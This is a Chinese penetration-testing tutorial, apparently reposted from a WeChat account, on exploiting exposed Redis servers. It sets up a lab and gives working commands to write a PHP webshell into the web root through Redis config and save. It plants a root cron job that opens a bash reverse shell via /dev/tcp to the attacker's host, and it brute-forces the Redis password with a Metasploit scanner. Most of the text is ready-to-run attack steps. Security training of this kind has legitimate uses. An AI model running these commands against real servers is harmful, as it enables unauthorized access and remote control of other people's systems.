Redis在渗透测试中的利用

admin 2023年12月21日08:13:40评论21 views字数 1330阅读4分26秒阅读模式

Redis是跨平台的非关系型数据库。可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。它支持字符串、哈希表、列表、集合、有序集合,位图,等数据类型。

Redis在渗透测试中的利用
Redis

漏洞原理

Redis默认6379端口并且为密码或弱密码的情况下,处于公网的redis服务就会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作。从而获得系统权限。

实验环境

  • Centos7(公网、受害端)
  • Kali Linux(攻击端)

安装Redis

我们首先在Centos中安装Redis。分别执行下面命令

wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载
tar xzf redis-2.8.17.tar.gz #解压
cd redis-2.8.17
make #编译
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf
Redis在渗透测试中的利用
编译安装
Redis在渗透测试中的利用
启动

需要注意的是,我们要在防火墙和安全组中开启6379端口

未授权测试

我们在kali中直接执行下面命令

redis-cli -h 8.219.xxx.xxx
Redis在渗透测试中的利用
连接成功

如果是高版本的redis需要修改配置文件。将bind前面#注释符去掉,将protected-mode 后面改为no

利用redis写webshell

在利用redis写webshell时,我们需要知道web站点的路径。不然即使生成webshell你也连不上。假设我们的站点目录是/var/www/html执行下面命令即可。

config set dir /var/www/html #设置目录
config set dbfilename kali.php #生成文件
set xxx "rnrn<?php phpinfo();?>rnrn" #给文件中写入内容
save#保存

Redis在渗透测试中的利用完成后,我们访问文件Redis在渗透测试中的利用

反弹Shell

我们在kali中利用nc进行监听端口。

nc -lvp 5555

Redis在渗透测试中的利用接下来我们用redis创建定时任务文件。通过定时任务来上线nc

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "nn* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1nn"
save

到时间后,会自动执行命令从而上线。

redis密码破解

一般情况下,都会设置默认密码。我们在配置文件redis.conf修改。Redis在渗透测试中的利用配置msf

msfconsole
use auxiliary/scanner/redis/redis_login
set RHOSTS 8.219.xxx.xxx
set PASS_FILE /root/22.txt #设置密码字典
run
Redis在渗透测试中的利用
配置如上
Redis在渗透测试中的利用
破解成功

在msf中还有很多对redis的利用模块。我们可以利用下面命令查看

search redis

Redis在渗透测试中的利用简单配置后,便可以直接使用。

更多精彩文章 欢迎关注我们


原文始发于微信公众号(kali笔记):Redis在渗透测试中的利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日08:13:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis在渗透测试中的利用https://cn-sec.com/archives/2322932.html

发表评论

匿名网友 填写信息